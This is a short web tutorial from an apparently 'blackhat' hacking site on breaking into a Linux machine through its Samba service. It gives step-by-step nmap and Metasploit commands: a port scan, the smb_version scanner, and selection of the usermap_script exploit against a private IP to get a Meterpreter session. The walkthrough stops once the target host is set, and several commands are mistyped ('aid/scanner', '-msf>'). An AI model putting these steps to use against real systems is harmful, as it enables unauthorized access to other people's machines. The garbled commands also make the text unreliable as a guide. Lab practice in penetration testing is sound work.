All About HackingBlackhat Hacking ToolsFree CoursesHacking

Hacking and gaining access to Linux by exploiting SAMBA service 2023

Today we will learn about Hacking and gaining access to Linux by exploiting SAMBA.

Hacking and gaining access to Linux by exploiting SAMBA

Step 1


First, we need to find out the ports and services running on the target system. To find open ports and services, the command is:

Command: nmap -sS -Pn -A 192.168.2.142

Step 2


Once you find open ports and service like port and samba service ready, set to send exploit through that port to create meterpreter session. To perform this attack, you need to open metasploit.

Also read:UEFI Boot vs. the MBR/VBR Boot Process-byBlackhat Pakistan 2023

Step 3


Once you open metasploit, we first need to find the version of samba

Command: -msf> search scanner/samba

(This command is used to find the scanner parameter to find the samba version)

Step 4


Once you find the scanners to find the target’s samba version, use the scanner parameter.

Command: msf> use aid/scanner/smb/smb_version

(This command is used to set the scanner parameter)

Command 2: msfauxiliary(smb_version) > set RHOSTS 192.168.2.142

(This command is used to set the IP address of the remote host whose version you need to find out)

Command 3: exploit

Step 5


After finding the samba version, attack and gain access to the linux system using Meterpertersession

Command: msf> use exploit/multi/samba/usermap_script

This is the exploit we need to select to gain access to the system

Command: msf exploit(usermap_script) > set RHOST 192.168.2.142

Leave a Reply

Your email address will not be published. Required fields are marked *